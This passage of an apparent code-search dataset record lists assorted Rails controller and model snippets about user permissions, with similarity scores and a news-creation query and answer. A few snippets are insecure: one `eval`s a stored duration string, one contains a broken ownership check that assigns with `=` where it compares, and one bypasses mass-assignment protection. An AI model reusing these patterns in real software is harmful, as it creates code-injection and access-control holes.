== \"new\"\n # current_user\n # else\n current_user || current_company\n # end\n end", "def edit\n #similar to the NEW action, but instead of create a empty user, we will find a user by its id and than\n # send its params to the partial form, so the params can be edited. Please note the partial form\n # for details, as the column admin can be edited only buy logged users with admin privileges.\n #@user variable will be used in the partial form, when submitted goes to UPDATE action.\n @user = User.find(params[:id])\n #only admin can edit other users information, so we first check if the user is admin.\n unless current_user.admin?\n #if the user is not admin it can edit only its own information, so we redirect to edit its own information\n unless @user.id == current_user.id\n redirect_to edit_user_path (current_user)\n end\n end\n end", "def make_first_user_admin\n return unless User.count.zero?\n\n self.is_admin = true\n self.approved = true\n end", "def prepare_and_render_form\n # get the users to which this response can be assigned\n # which is the users in this mission plus admins\n # (we need to include admins because they can submit forms to any mission)\n @possible_submitters = User.assigned_to_or_admin(current_mission).by_name\n\n # render the form\n render(:form)\n end", "def assign_default_project \n if current_user \n current_project = self\n current_user.save\n end\n end", "def prepare_faculty\n unless @user.has_role?('university_secretary')\n @faculty = @user.person.faculty\n end\n end", "def user_assign(value)\n forget_value(\"user\")\n assign(value,\"user\")\n end", "def upgrade_user_to_admin\n return if @redcap__project_admin.current_admin\n\n return not_authorized unless current_user.can? :redcap_pull_request\n\n ma = current_user.matching_admin\n raise FphsException, \"Current user #{current_user.email} requires a matching admin\" unless ma\n\n @redcap__project_admin.current_admin = ma\n end", "def update\n @user = User.find_by_slug(params[:id])\n # @wiki = Wiki.find(params[:id])\n # merge default value with params so if no collaborators checked, will erase\n if @user.update_attributes(params[:user])\n redirect_to @user\n else\n flash[:error] = \"Error saving user. Please try again.\"\n render :edit\n end\n end", "def set_owner\n @goal.owner = current_user\n end", "def can_be_assigned?(_user)\n false # any user can complete operation\n end", "def correct_user\n\t\t\tif !current_user?(@user) && !current_user.orgadmin?\n\t\t\t\tredirect_to(users_path)\n\t\t\tend\n\t\tend", "def edit\n redirect_to root_url and return unless current_user\n @user = current_user\n end", "def current_user_owns_room\n\n \t# Then find the room that is trying to be edited\n \troom = Room.find(params[:id])\n \t# And only allow if current user made that room\n \tunless logged_in? and current_user == room.user\n \t\t# Otherwise flash error and redirect to show page\n \t\tflash[:error] = \"Only the owner can edit\"\n \t\t# (room) indicates the requirement for an id form the url\n \t\tredirect_to room_path(room) \t\t\n \tend\n end", "def assign_to_user!(u)\n\t\tself.user = u\n\t\tself.assign_memberships_to_user!\n\t\tsave!\n\t\tu\n\tend", "def add_user!(current_user , user, is_admin:)\n raise_if_user_is_owner(user)\n\n if(!user_exists?(current_user))\n raise SecurityError.new \"No Permissions\"\n end\n #check if user is present\n \n if(!user.persisted?)\n raise ArgumentError.new \"The user is not persisted\"\n end\n\n\n current_user_role = participants.find_by(user_id: current_user.id)\n if super_admin == current_user || current_user_role.member_type == Course.roles[\"admin\"] \n if is_admin\n participants.create(user_id: user.id, member_type: Course.roles[\"admin\"])\n return true\n else\n participants.create(user_id: user.id, member_type: Course.roles[\"participant\"])\n return true\n end\n end\n if current_user_role.member_type == Course.roles[\"participant\"] && public && !is_admin\n participants.create(user_id: user.id, member_type: Course.roles[\"participant\"])\n return true\n end\n\n\n raise SecurityError.new \"No Permissions\"\n end", "def edit\n load_user\n return if (@user.blank?)\n\n respond_to do|format|\n format.html\n end\n end", "def correct_user\n @project = Project.find(params[:id])\n redirect_to(projects_path) unless current_user?(@project.user)\n end", "def new\n \t@user = current_user\n\n if(@user.class == User)\n \t@current_user_building = @user[:dorm] # the use shouldn't have to enter their info for building and room\n \t @current_user_room = @user[:room] # we will set these as defaults in the text fields by passing them to the partial\n end\n\n \t@workorder = Workorder.new\n end", "def updatable_by?(user)\n user.has_role?(:admin) or resource.user_id == user.id\n end", "def update\n @user = User.find(params[:id])\n if current_user.admin\n @user.assign_attributes(params[:user], :without_protection => true)\n else\n @user.assign_attributes(params[:user])\n end\n respond_to do |format|\n if @user.save()\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def editable_if_current_user(user, field)\n\t\tif current_user?(user) \n\t\t\tbest_in_place user, field.to_sym\n\t\telse\n\n\t\t\t\"#{user.send(field)}\"\n\t\tend\n\tend", "def user_available\n return unless user && task_id\n\n unfinished = user.progressions.unfinished\n unfinished = unfinished.where(progressions: { task_id: task_id })\n unfinished = unfinished.where.not(progressions: { id: id }) if id\n return if unfinished.none?\n\n errors.add(:user_id, 'not available')\n end", "def require_creator\n unless logged_in? && current_user = @post.user\n flash[:error] = \"Can't be done\"\n redirect_to root_path\n end\n end", "def assign_memberships_to_user!\n\t\tif self.user\n\t\t\tself.memberships.each do |membership|\n\t\t\t\tunless membership.user == self.user\n\t\t\t\t\tmembership.user = nil\n\t\t\t\t\tself.user.memberships << membership\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend", "def set_user\n @user = User.find(params[:id])\n\n return if unauthorized_local_access(@user.uo_id)\n end", "def copy_to_user(user)\n activity = self.dup\n activity.title = self.title\n activity.user_id = user.id\n activity.from_id = self.id\n activity.activity_sequence = nil\n activity.strategy_id = nil\n activity.course_id = self.course_id\n activity.goal = self.goal.copy_to_user(user) if self.goal\n activity.save\n activity\n end", "def set_allowed_user\n unless request.format.json?\n @user = current_account if @user.nil? || !current_account.admin?\n end\n end", "def can_edit?(user)\n user && self.creator_id == user.id\n end", "def set_user\n @user = @current_user.admin ? User.find(params['id']) : @current_user\n end", "def user\n super || create_user\n end", "def create\n # mission_owner = User.exists? mission_params[:owner_id] \n # respond_to do |format|\n\t\t#unless mission_owner.nil? \n\t\t#\towner_role = mission_owner.roles.first.id unless mission_owner.roles.first.nil? \n\t\t#end\n\t # if VALID_ADMIN_USERS.include?(owner_role)\n\t\t@mission = Mission.new(mission_params)\n\t\t@mission.save\n @mission.set_status(MESA_IS_AUTHORIZED)\n #UserMission.create(user_id: current_user.id, mission_id: @mission.id,invitation_time: Time.now.utc, invitation_status: ACCEPTED_MESA_INVITATION)\n mission_owner = @mission.get_mission_owner \n\t\tUserMailer.send_new_mesa_email(mission_owner[:name],@mission.title).deliver\n #UserMailer.validate_brief_email(mission_owner[:name]).deliver\n\t\t#format.json { render :json=> {:mesa_id => @mission.id, :status => true} }\n\t # else\n\t\t#format.json { render :json=> {:error => 'You do not have permission to create mesa', :status => false} }\n\t # end\n # end\n end", "def check_if_user_is_project_leader?\n if current_user.id != this_project.project_leader_id;\n render json: [\"Only the Project Lead can edit this project\"]\n end\n end", "def updatable_by?(user)\n return false unless user.has_role?(:wizard, user.unit)\n !resource.mandatory? || !resource.accepted?\n end", "def edit\n @user = User.find(params[:id])\n logger.tagged(\"edit current user: \") {logger.debug @current_user.attributes}\n #TODO : make sure permissions are handled correctly\n can_edit_hash = Permissions.currentLoggedInOrHasMorePermissions(@current_user,@user)\n logger.tagged(\"edit user perm hash: \") {logger.debug can_edit_hash}\n if can_edit_hash[:has_permission]\n can_destroy_hash = Permissions.hasMorePermissions(@current_user,@user)\n @can_destroy = can_destroy_hash[:has_permission]\n else\n flash[:warning] = can_edit_hash[:permission_message]\n redirect_to user_path(@user)\n end\n\n end", "def creator(assignable, last_acting_user)\n case assignable.class.to_s\n when 'OfferTranslation', 'OrganizationTranslation'\n assignable_twin = ::Assignable::Twin.new(assignable)\n if assignable_twin.should_be_created_by_system?\n ::User.system_user\n else\n last_acting_user\n end\n when 'ContactPersonTranslation'\n ::User.system_user\n when 'Organization'\n if assignable.initialized? && assignable.assignments.any?\n ::User.system_user\n else\n last_acting_user\n end\n else\n last_acting_user # NOTE: this is not used yet -\n # rethink when other models become assignable!\n end\n end", "def edit\r\n \t@user = current_user\r\n end", "def correct_user\n #to define the correct user and omit it when edit and update\n @user=User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def edit\n \t@user = current_user\n end", "def assign_creator(user_id)\n\t\tadd_user(user_id, true, true, true)\n\tend", "def new\n if current_user7.admin?\n @user = User7.new\n end\n end", "def set_readonly_user(opts)\n opts = check_params(opts,[:ro_user_info])\n super(opts)\n end", "def set_room_user\n\t\t\t@room_user = {'owner': Room.find(params[:id]).owner, \"admins\": [], \"members\": []}\n\t\t\tRoom.find(params[:id]).admins.order(\"state DESC, nickname ASC\").each do |admin|\n\t\t\t\t@room_user[:admins] << admin unless @room_user[:owner] == admin\n\t\t\tend\n\t\t\tRoom.find(params[:id]).members.order(\"state DESC, nickname ASC\").each do |member|\n\t\t\t\t@room_user[:members] << member unless @room_user[:owner] == member || @room_user[:admins].include?(member)\n\t\t\tend\n\t\tend", "def init_user_orcid\n return unless author_orcid\n return unless (user = resource&.user)\n return if user&.orcid\n\n user.orcid = author_orcid\n user.save\n end", "def owner_only\n unless current_user == @organism.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_organisms_url\n end\n end", "def edit\n require_user\n end", "def own_user_or_admin_required\n if current_user\n if (current_user.id == params[:id]) || current_user.admin\n return\n end\n end\n redirect_to \"/login\", notice: 'Logga in som denna användare för att ändra uppgifter.'\n end", "def editable_by?(user)\n return false if user.blank?\n project.project_users.exists?([\"role IN ('curator', 'manager') AND user_id = ?\", user])\n end", "def default_assigned_user(ticket)\n ticket.assigned_to_id.present? ? ticket.assigned_to_id : User.find_by(user_type_id: 2).try(:id)\n end", "def create\n if (User.find_by school_id: params[:user][:school_id])\n @user = User.find_by school_id: params[:user][:school_id]\n @user.update_attributes(user_params)\n else\n @user = User.new(user_params)\n end\n if @user.save\n\n if @user.role != TEACHER\n @member = Member.new\n @member.user_id = @user.id\n @member.project_id = session[:selected_project_id]\n @member.section_number = params[:section_number]\n @member.is_enabled = true\n @member.save\n redirect_to users_path, notice: @user.first_name + \" \" + @user.last_name + ' was successfully created and added to this section.' \n else\n redirect_to users_teachers_path, notice: @user.first_name + \" \" + @user.last_name + ' was successfully created and added to the teacher roster.'\n end\n else\n render action: 'new' \n end \n end", "def user_details\n @user = current_user\n invitation = @user.invitation\n if invitation.present?\n solo_restaurant_name = invitation.restaurant_id ? \n Restaurant.find(invitation.restaurant_id).name :\n invitation.restaurant_name\n @user.build_default_employment(:solo_restaurant_name => solo_restaurant_name, \n :restaurant_role => invitation.restaurant_role, :subject_matters => invitation.subject_matters)\n else\n @user.build_default_employment\n end\n @user.build_profile\n end", "def owner_only\n unless current_user == @organism.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_organisms_url\n end\n\n end", "def set_user\n @user = params[:id].nil? ? current_user : User.readable(current_user).find(params[:id])\n end", "def updatable_by?(user)\n return true if user.has_role?(:admin, resource.unit)\n return true if user.has_role?(:wizard, resource.unit)\n user == resource\n end", "def copy_to_user(user)\n activity = self.dup\n activity.title = self.title\n activity.user_id = user.id\n # point to original (self or self's from)\n if (self.from_id)\n activity.from_id = self.from_id\n else\n activity.from_id = self.id\n end\n if (!self.timing_duration.blank?)\n activity.timing_until = eval(self.timing_duration.split.first + \".\" + self.timing_duration.split.last.downcase + \".from_now\")\n puts activity.timing_until\n end\n activity.strategy_id = user.strategy.id\n activity.course_id = self.course_id\n activity.goal = self.goal.copy_to_user(user) if self.goal\n activity.save\n activity\n end", "def addUserToProject(userid,projectid)\n user = getUserByID(userid) \n project = getProjectByID(projectid) \n\n if user != nil and project != nil \n project.addOwner(user)\n else \n puts \"Project or user not found. \"\n end \n end", "def correct_user_or_admin\n @user = @project.user\n return true if @user.nil?\n redirect_to(root_url) if current_user.nil? ||\n !(current_user?(@user) || current_user.admin?)\n end", "def edit\n @user = User.friendly.find(params[:id])\n if not_owner_check(@user)\n redirect_to current_user\n end\n end", "def new\n if params[:lab_id] && @lab = Lab.find_by(params[:lab_id])\n @user = @lab.users.build\n else\n @user = User.new\n @user.build_lab\n end\nend", "def correct_user\n \t@user = User.where(id: params[:id]).to_a[0]\n\tunless current_user?(@user) or current_user.admin?\n\t\tredirect_to root_path, notice: \"You are not allowed to do that.\"\n\tend\n end", "def add_user(user)\n super.tap do |org_user|\n class_name = (users.count == 1) ? JudgeTeamLead : DecisionDraftingAttorney\n class_name.create!(organizations_user: org_user)\n end\n end", "def owner_only\n @room = current_user.rooms.find(params[:id]) \n unless current_user == @room.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_rooms_url\n end\n end", "def create\n @room_user = @room.room_users.where(user_id: current_user.id).first_or_create\n redirect_to @room\n end", "def edit\n # @user = User.find(params[:id])\n # already in correct_user\n end", "def user_assign(value)\n forget_value(\"user\")\n assign value,\"user\"\n end", "def set_user\n \tparams[:id].blank? ? (@user = current_user) : (@user = User.find(params[:id]))\n end", "def set_user\n group_members = group_members(current_group)\n if !group_members.nil? && group_members.map{|r| r.id}.include?(params[:id].to_i) || current_user.id==params[:id].to_i\n @user = User.find(params[:id]) \n end\n end", "def create\n if params[:lab_id] && @lab = Lab.find_by_id(params[:lab_id])\n @user = @lab.build_user(user_params)\n else\n @user = User.new(user_params)\n end\n if @user.save\n session[:user_id] = @user.id\n UserMailer.with(new_user: @user).welcome_email.deliver_now\n AdminMailer.with(new_user: @user, lab: @user.lab).new_user_notification_email.deliver_now\n redirect_to lab_path(@user.lab_id)\n else\n render :new\n end\nend", "def correct_user\n @user ||= (@character ? @character.user : @clutch.user)\n redirect_to user_path(current_user), alert: \"That does not belong to you!\" unless is_current_user?(@user) || is_admin?\n end", "def set_create_user(opts)\n opts = check_params(opts,[:user_info])\n super(opts)\n end", "def current_user_is_task_user_id\n # set status options, removing processing & completed, may add for stripe integration test\n @my_task_status_options = {available: \"Available\", unlist: \"Unlisted\"} # this transfers over to _form via edit call\n if current_user.id != @task.user_id\n redirect_to tasks_path\n end\n end", "def no_current_user\n if @user = current_user\n logger.warn \"Restricting user #{@user.id} from calling create!\"\n head :method_not_allowed\n end\n end", "def new\n @user = User.new\n @main = @user.characters.build\n authorize @user\n end" ]
[ "0.6445584", "0.6189405", "0.61245555", "0.6121595", "0.61079115", "0.6078407", "0.6075983", "0.60514605", "0.60167074", "0.59241086", "0.58772975", "0.584203", "0.58088946", "0.58012784", "0.57821715", "0.57442886", "0.5731034", "0.5730324", "0.5723996", "0.57061094", "0.5696956", "0.5681241", "0.5667675", "0.566352", "0.566352", "0.566352", "0.5662442", "0.5655209", "0.5636572", "0.56253654", "0.5599639", "0.5593262", "0.5591211", "0.55804884", "0.5576484", "0.5574873", "0.5549384", "0.5537877", "0.55322737", "0.5526462", "0.55242497", "0.5514936", "0.5513481", "0.5505746", "0.55031", "0.549824", "0.54972106", "0.5493894", "0.5488367", "0.5487908", "0.5481064", "0.5475575", "0.54739296", "0.547209", "0.5467923", "0.5467643", "0.54583716", "0.5455855", "0.5455693", "0.5453101", "0.54471326", "0.5437995", "0.5432402", "0.5432147", "0.54302275", "0.5420102", "0.5418275", "0.54176295", "0.5415351", "0.5414705", "0.5410697", "0.54088223", "0.54068166", "0.53984624", "0.5398204", "0.53923297", "0.5390583", "0.5389528", "0.53844506", "0.5382541", "0.53812027", "0.5380971", "0.5377922", "0.5377415", "0.53686416", "0.53671026", "0.5365026", "0.53648365", "0.5361303", "0.53603184", "0.53575474", "0.5353638", "0.535255", "0.53457594", "0.53454244", "0.53435713", "0.5342306", "0.53415287", "0.5340062", "0.5340032" ]
0.78913254
0
GET /admin/news GET /admin/news.json
def index @news = News.unscoped.order(created_at: :desc) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @admin_useful_news = Admin::UsefulNews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_useful_news }\n end\n end", "def index\n @news = News.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @news }\n end\n end", "def index\n \n @news = News.all\n @latest_news = News.latest_news\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @news }\n end\n end", "def index\n @news = New.order('created_at DESC')\n render json: @news.as_json(except: [:body], methods: [:short_body]), status: :ok\n end", "def index\n @news = Newsfeed.order(\"created_at DESC\")\n render json: { is_success: true, message: \"news fetch successful\", data: @news }, status: 200\n end", "def show\n @news = News.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news }\n end\n end", "def show\n @news = News.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news }\n end\n end", "def show\n @news = News.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news }\n end\n end", "def show\n @news = News.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news }\n end\n end", "def show\n @news = News.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news }\n end\n end", "def show\n # Find news from the DB\n @news = News.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news }\n end\n end", "def new\n @admin_useful_news = Admin::UsefulNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_useful_news }\n end\n end", "def index\n @admins_news = Admins::News.all\n end", "def show\n @news_list = NewsList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news_list }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.haml\n format.json { render :json => @news_items }\n end\n end", "def index\n @news = News.all\n end", "def index\n @news = News.all\n end", "def index\n @news = News.all\n end", "def index\n @news = News.all\n end", "def index\n @news = News.where(status: News.statuses[:published])\n render(\n json: ActiveModel::ArraySerializer.new(\n @news,\n each_serializer: NewsSerializer\n )\n )\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @news_item }\n end\n end", "def show\n if @news.nil?\n render json: {error: \"Not Found\"}, status: :not_found\n else\n render json: @news, status: :ok\n end\n end", "def index\n @news_posts = NewsPost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @news_posts }\n end\n end", "def show\n @news_datum = NewsDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news_datum }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @news_posts }\n end\n end", "def index\n @news_data = NewsDatum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @news_data }\n end\n end", "def fetch_news\n @news = News.fetch_and_store_news! @agencyfeed\n render template: 'news/list', status: :ok\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def new\n @news = News.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def show\n @news = News.find(params[:id])\n data = {\n :title => @news.title,\n :id => @news.id,\n :content => @news.content,\n :content_html => @news.content_html,\n :created_at => @news.created_at,\n :updated_at => @news.updated_at\n }\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: data.to_json }\n end\n end", "def new\n # Create new news\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "def index\n @enable_news_edit = true\n @news = Roxiware::NewsItem.order(\"post_date DESC\")\n @title = @title + \" : News\"\n @meta_description = @title\n clean_news = []\n @news.each do |news_item| \n @meta_keywords = @meta_keywords + \", \" + news_item.headline\n\tclean_news << news_item.ajax_attrs(@role)\n end \n respond_to do |format|\n format.html\n\tformat.json { render :json=>clean_news }\n end\n end", "def index\n @newsinfos = Newsinfo.all\n end", "def articles\n @articles = Article.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end", "def index\n @api_v1_news_links = Api::V1::NewsLink.all\n end", "def set_admin_news\n @admin_news = Admin::News.find(params[:id])\n end", "def show\n @news_post = NewsPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news_post }\n end\n end", "def index\n @project_news = ProjectNews.last(10)\n respond_to do |format|\n format.json {render json: @project_news, :only => [:date, :content, :tags]}\n end\n end", "def index\n @user_news = UserNews.all\n end", "def new\n @news_list = NewsList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_list }\n end\n end", "def index\n @admin_news = City.find(session[:current_city_id]).commonplace.news.page(params[:page]).per(10)\n end", "def index\n @system_news = System::News.all.order('created_at DESC').page(params[:page]).per(50)\n authorize @system_news, :index?\n end", "def index\n if params[:news_id]\n @news = News.find(params[:news_id])\n @discusses = @news.discusses\n else\n @discusses = Discuss.all\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discusses }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @news_post }\n end\n end", "def index\n @articles = current_user.articles\n json_response(@articles)\n end", "def index\n @news_latests = NewsLatest.all\n end", "def new\n respond_to do |format|\n format.html # new.html.haml\n format.json { render :json => @news_item }\n end\n end", "def index\n news_url = 'https://newsapi.org/v1/articles?source=national-geographic&sortBy=top&apiKey=ba8b42abfab743f3bfe37fe0f9df3557'\n response = HTTParty.get(news_url)\n @news_data = response\n\n @all_posts = current_user.posts\n # @new_post = Post.new #post is not tagged to user\n @new_post = current_user.posts.new\n end", "def new\n @news_datum = NewsDatum.new\n @news_cates = NewsCate.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_datum }\n end\n end", "def index\n #pagination parameters\n page_size = params[:page_size] ? params[:page_size].to_i : Page_size\n page = params[:page] ? params[:page].to_i : 1\n offset = page_size*(page - 1)\n @news = News.limit(page_size).offset(offset).order('created_at desc').includes(:user, :comments)\n\n if @news.blank?\n render json: {status: \"FEED_EMPTY\", message: \"No news feeds\", data: {}}, status: :ok\n else\n news_data = []\n # format likes, comments and user for each news\n @news.each do |news|\n news_data << {news: news, comments: news.comments.count, likes: liked_user_id(news), user: news.user.username}\n end\n render json: {status: \"SUCCESS\", message: \"List of news feeds\", data: news_data}, status: :ok\n end\n end", "def index\n @title = t('label.news.last_news')\n if(current_user && current_user.editor?)\n @news = News.translated\n else\n @news = News.published.translated\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @news }\n end\n end", "def show\n @hotnews_read = HotnewsRead.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hotnews_read }\n end\n end", "def index\n @newslines = Newsline.all\n end", "def _state_news(state_id)\n get('state/news', state_id, options: { type: :array })\n end", "def set_admins_news\n @admins_news = Admins::News.find(params[:id])\n end", "def index\n @article_news = ArticleNew.all\n end", "def index\n @hotnews_reads = HotnewsRead.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hotnews_reads }\n end\n end", "def news\n @news ||= EbanqApi::News.new(self)\n end", "def index\n @news_stories = NewsStory.all\n end", "def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end", "def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end", "def create\n\t\tif !current_user\n\t\t\tredirect_to '/'\n\t\t\treturn\n\t\tend\n\t\t@news = News.new(news_params)\n\n\t\trespond_to do |format|\n\t\t\tif isAdmin && @news.save\n\t\t\t\tformat.html { redirect_to \"/admin/\" }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @news.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def show\n render json: NewsEntry.find(params[:id]).to_json(include: [:feed])\n end", "def index\n @staffnews = Staffnews.all\n end", "def index\n\t\t@news = News.all\n\t\t@news = News.order(created_at: :desc)\n\tend", "def show\n @admin_article = Admin::Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_article }\n end\n end", "def index\n @newsletters = Newsletter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @newsletters }\n end\n end", "def index\n @response = HTTParty.get(\"http://newsapi.org/v2/top-headlines?category=sports&q=golf&apiKey=12e692d8e7254efa8cf6276ea99736b0\")\n @report = JSON.parse(@response.body)\n @article = @report[\"articles\"]\n end", "def set_news\n @news = New.find(params[:id])\n end", "def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end", "def index\n authorize! :admin, :dashboard\n @articles = Article.internal.paginate(\n :per_page => 20,\n :page => params[:page],\n :order => 'created_at DESC'\n )\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @articles }\n end\n end", "def set_news\n @news = News.find(params[:id])\n puts @news\n end", "def index\n @admin_news = Admin::News.all.order(:date_of_news => :desc)\n end", "def show\n @news_agency = NewsAgency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news_agency }\n end\n end", "def set_news\n @news = New.find(params[:id])\n end", "def show\n @news = New.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news }\n end\n end", "def show\n respond_to do |format|\n format.json { render template: 'newsletters/show', status: :ok }\n end\n end", "def index\n @gg_news = GgNews.all\n end", "def index\n @admin_articles = Admin::Article.all.select{|x|x.is_tourist_route==false}\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_articles }\n end\n end", "def index\n @news = New.order('created_at DESC').page params[:page]\n end", "def index\n @news = News.all(:order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @news }\n end\n end", "def index\n # => @news = News.aktiv\n @news = News.aktiv.page(params[:page]).per(Strangecms::Newz::Config[:news_per_page])\n @title = @seite.use_titel ? @seite.titel : @seite.name\n @headline = @seite.use_headline ? @seite.headline : @seite.name\n @paginator_needed = (News.aktiv.count > Strangecms::Newz::Config[:news_per_page]) ? true : false\n render :template => 'base/seite'\n end", "def index\n @news = WebInterface::NewsItem.order('created_at desc')\n end", "def index\n @discourse_news_items = DiscourseNewsItem.all\n end", "def index\n @news = News.order( :created_at => :desc ).page(params[:page])\n end", "def index\n respond_to do |format|\n @newsletters = Newsletter.all\n format.json { render template: 'newsletters/index', status: :ok }\n end\n end", "def index\n @newsfeeds = Newsfeed.all\n end", "def show\n @news_company = NewsCompany.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @news_company }\n end\n end", "def index\n build_breadcrumbs\n @news = collection\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @news_item.ajax_attrs(@role) }\n end\n end", "def index\n @studentnews = Studentnews.all\n end", "def index\n @tourism_articles = @tourism_articles.published.recent.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tourism_articles }\n end\n end", "def create\n @admin_news = Admin::News.new(admin_news_params)\n\n respond_to do |format|\n if @admin_news.save\n format.html { redirect_to session['previous_url'] || admin_news_index_url, notice: 'News è stato creato con successo.' }\n format.json { render :show, status: :created, location: @admin_news }\n else\n format.html { render :new }\n format.json { render json: @admin_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_news\n @api_v1_news = News.find(params[:id])\n end", "def create\n @admins_news = Admins::News.new(admins_news_params)\n\n respond_to do |format|\n if @admins_news.save\n format.html { redirect_to @admins_news, notice: 'News was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admins_news }\n else\n format.html { render action: 'new' }\n format.json { render json: @admins_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @news = News.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml{\n \n }\n end\n end", "def new\n @hotnews_read = HotnewsRead.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hotnews_read }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.json { render json: @articles }\n end\n end", "def reset_whats_new_for_all_users \n get(\"/users.json/news/reset\")\nend" ]
[ "0.76681626", "0.751364", "0.7492779", "0.7442193", "0.7378122", "0.73574585", "0.7304973", "0.7304973", "0.7304973", "0.7304973", "0.72759384", "0.72544456", "0.72467923", "0.7184177", "0.7107979", "0.7053882", "0.7053882", "0.7053882", "0.7053882", "0.70241797", "0.7016415", "0.7010349", "0.7010111", "0.70001125", "0.69913685", "0.69903547", "0.69817346", "0.6980847", "0.69804424", "0.697917", "0.6976258", "0.69661045", "0.6959935", "0.69173294", "0.6909599", "0.6908218", "0.6888235", "0.6860078", "0.6851983", "0.68489194", "0.6835632", "0.6821811", "0.67758834", "0.6771572", "0.6741014", "0.6720264", "0.6719338", "0.67073375", "0.66871643", "0.6673945", "0.6658919", "0.6649461", "0.664144", "0.6626301", "0.66112775", "0.6595756", "0.65769255", "0.65688586", "0.65562385", "0.6552773", "0.65525043", "0.6536816", "0.6536816", "0.65342766", "0.6534225", "0.65290165", "0.6525992", "0.6515192", "0.64800406", "0.64779973", "0.646535", "0.6456676", "0.6454736", "0.6451697", "0.6447429", "0.64469355", "0.64295715", "0.6426859", "0.6423632", "0.6423598", "0.64061207", "0.63967353", "0.6396472", "0.63921064", "0.638642", "0.6385642", "0.6370836", "0.6370685", "0.63642836", "0.6354659", "0.6351204", "0.63501513", "0.6345943", "0.63351476", "0.6331833", "0.6318294", "0.63022727", "0.63020533", "0.62973857", "0.6291977", "0.62890923" ]
0.0
-1
POST /admin/news POST /admin/news.json
def create @news = News.new(news_params) if @news.save redirect_to admin_news_index_path, notice: 'Новость успешно добавлена!' else render :new end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
